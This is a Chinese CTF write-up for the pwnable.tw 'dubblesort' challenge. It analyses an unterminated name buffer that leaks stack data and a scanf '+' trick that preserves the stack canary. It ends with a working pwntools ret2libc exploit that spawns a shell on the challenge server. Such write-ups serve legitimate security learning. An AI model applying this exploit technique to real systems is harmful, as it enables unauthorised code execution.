pwnable.tw_challenge_dubblesort
首先运行一下大概了解程序的流程:
运行结果
What your name :kirin
Hello kirin
��/,How many numbers do you what to sort :3
Enter the 0 number : 4
Enter the 1 number : 5
Enter the 2 number : 6
Processing......
Result :
4 5 6
首先是传入一个name
而后需要我们指出需要排序的数字个数
而后需要我们依次输入需要排序的数字
最后程序给出排序好的result
不过这里发现一个问题,有些名字后存在其他字符(类似乱码)
猜测这里应该是字符串00结尾没有处理好而泄露了名字后的部分数据
先记下这个问题
下面载入IDA分析:
0x01 main
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0FFFFFFF0h
add esp, 0FFFFFF80h
call sub_5662B750
add ebx, 15CCh
mov eax, large gs:14h
mov [esp+7Ch], eax
xor eax, eax
call sub_5662B8B5
可以看出这里:
开启了canary保护:mov eax, large gs:14h
调用了一个sub_5662B8B5函数(一个计时器)
可以直接绕过这个计时器来动态分析:
call sub_5662B8B5改为nop
或者:在call地址后的首句push ebp改为retn
或者:类似方法去除程序对alarm/signal的调用
或者:直接改变alarm的参数(加长时间)
或者:调试到alarm时set新的ip跳过call alarm
在gdb中可以忽略中间信号来绕过计时器:
i handle SIGALRM
handle SIGALRM nopass
下面:
输出"What your name :":
.text:5662B9EB lea eax, (aWhatYourName - 5662CFA0h)[ebx] ; "What your name :"
.text:5662B9F1 mov [esp+4], eax
.text:5662B9F5 mov dword ptr [esp], 1
.text:5662B9FC call ___printf_chk
从输入流读入0x40长度(输入流结尾自动停止读入)的字节到esp+8Ch+buf处:
.text:5662BA01 mov dword ptr [esp+8], 40h ; '@' ; nbytes
.text:5662BA09 lea esi, [esp+8Ch+buf]
.text:5662BA0D mov [esp+4], esi ; buf
.text:5662BA11 mov dword ptr [esp], 0 ; fd
.text:5662BA18 call _read
输出"Hello %s,How many numbers do you what to sort :":
mov [esp+8], esi
lea eax, (aHelloSHowManyN - 5662CFA0h)[ebx] ; "Hello %s,How many numbers do you what t"...
mov [esp+4], eax
mov dword ptr [esp], 1
call ___printf_chk
使用scanf读入一个unsigned型数(所需排序个数):
.text:5662BA37 lea eax, [esp+18h]
.text:5662BA3B mov [esp+4], eax
.text:5662BA3F lea eax, (aU - 5662CFA0h)[ebx] ; "%u"
.text:5662BA45 mov [esp], eax
.text:5662BA48 call ___isoc99_scanf
接下来再调用scanf读入相应个数的unsigned并调用一个冒泡排序:sub_5662B931
最终输出结果
0x02 漏洞
0x01 字符串结尾\x00截断问题
首先就是开始时候的name可以泄露栈内数据:
当我们输入:"aaaa"
程序输出:
看一下栈内数据:
栈
可以看到buff内数据是aaaa+'\n',而后面没有对字符串结尾加上00进行截断,导致后面的FFBA4B00上的数据在换行之后也输出了,直到遇到FFBA4804处的"\x00"
0x02 scanf读取unsigned数时非法字符问题
测试代码:
#include<stdio.h>
int main()
{int i;
while(~scanf("%u",&i))
printf("%u\n",i);
}
当输入一个非法字符时,其可能会因输入流问题直接输出栈上数据:
当输入"+-"这类数字本身中就有("+-"代表正负)的字符,则输出栈上数据
+
32764
-
32764
当输入"abc......"这类非法字符,因为输入流问题,这里没有成功scanf,便不断printf数据
a
32764
32764
32764
32764
.......
在程序中测试:
./dubblesort
What your name :kirin
Hello kirin
��/,How many numbers do you what to sort :5
Enter the 0 number : +
Enter the 1 number : +
Enter the 2 number : +
Enter the 3 number : +
Enter the 4 number : +
Processing......
Result :
0 1 12779520 4158922506 4291112735
我们输入前栈中v13(保存需要排序的数字)处的数据分布:
排序输出后:
v13
可以看到我们这里输入"+"并不改变栈内数据,而是对其中的数据重新排序
0x03 ret2libc
首先使用chechsec看一下程序的保护机制:
checksec ./dubblesort
checksec
可以看到全部开启
考虑到调试过程发现其加载了libc库以及:
objdump -R ./dubblesort
objdump
这里我们可以利用ret2libc执行system("/bin/sh")来获取shell
我们需要:
对方环境下libc动态库中函数system的偏移量
对方环境下libc动态库中字符串"\bin\sh"的偏移量
程序加载libc库的基地址
合理布置栈来执行函数
0x01 system的偏移量
利用题目给出的库文件:
readelf -s ./libc_32.so.6|grep system
245: 00110690 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
所以:
system_off = 0x3a940
0x02 "\bin\sh"的偏移量
hexdump -C ./libc_32.so.6|grep /bin -A 1 #防止换行所以只grep /bin 而后显示后一行
找到了:
00158e80 74 6f 64 5f 6c 2e 63 00 2d 63 00 2f 62 69 6e 2f |tod_l.c.-c./bin/|
00158e90 73 68 00 65 78 69 74 20 30 00 63 61 6e 6f 6e 69 |sh.exit 0.canoni|
所以:
bin_sh_off = 0x158e8b
0x03 程序加载libc库的基地址
若要获取基地址,便要得到一个相对基地址偏移量固定的地址
而能泄露数据的只有name和最后的排序处
但排序处会直接结束进程
我们需要利用排序前的scanf来布置栈空间
所以这里只能利用name泄露buf后某个栈内地址
动态调试看一下name后的栈内数据:
buf
可以看到第七和第八个数据都在libc中
接着调试后锁定第七个数据:
看一下这次载入libc的地址:
libc
第七位地址的相对位移:
off=0xf7f70000-0xf7dbe000=0x1b2000
注意:这里的偏移地址是相对于本地的libc-2.23.so文件
readelf -S ./libc-2.23.so
libc
看到这里的对应偏移位置是:
.got.plt
对应远程的libc文件的.got.plt的偏移地址为:
libc
0x1b0000
栈中数据构造
这里需要注意:
栈内数据写入后会被排序
所以我们要让排序后的栈内:
cannary处 -> 输入加号使其保持不变
返回地址处 -> system_addr
返回地址后一个单位 -> system的返回地址(随意填写,不过注意大小问题,这里直接填入system_addr或者bin_sh_addr)
返回地址后第二位 -> bin_sh_addr
一般情况下这几个数便是从小到大排列(除非canary随机到很大)
所以我们:
首先将数字正常的栈空间覆盖为0(调试后是24位)
canary处:"+"
canary到返回地址间覆盖为system_addr
返回地址后一位system函数返回地址处覆盖为system_addr或者bin_sh_addr
再后一位覆盖为bin_sh_addr
不过当输入字符来利用name获得.got.plt地址时总是出错
调试后发现,这个地址末位总是00,造成了截断,所以需要多输入一位来使用换行符(chr(0xa))来覆盖这里(在后面计算地址的时候再减去0xa)
0x03 EXP
from pwn import *
got_off = 0x1b0000
system_off = 0x3a940
bin_sh_off = 0x158e8b
p = remote("chall.pwnable.tw",10101)
p.recv()
p.sendline('a'*24)
got_addr = u32(p.recv()[30:34])-0xa
libc_addr = got_addr-got_off
system_addr = libc_addr + system_off
bin_sh_addr = libc_addr + bin_sh_off
p.sendline('35')
p.recv()
for i in range(24):
p.sendline('0')
p.recv()
p.sendline('+')
p.recv()
for i in range(9):
p.sendline(str(system_addr))
p.recv()
p.sendline(str(bin_sh_addr))
p.recv()
p.interactive()
网友评论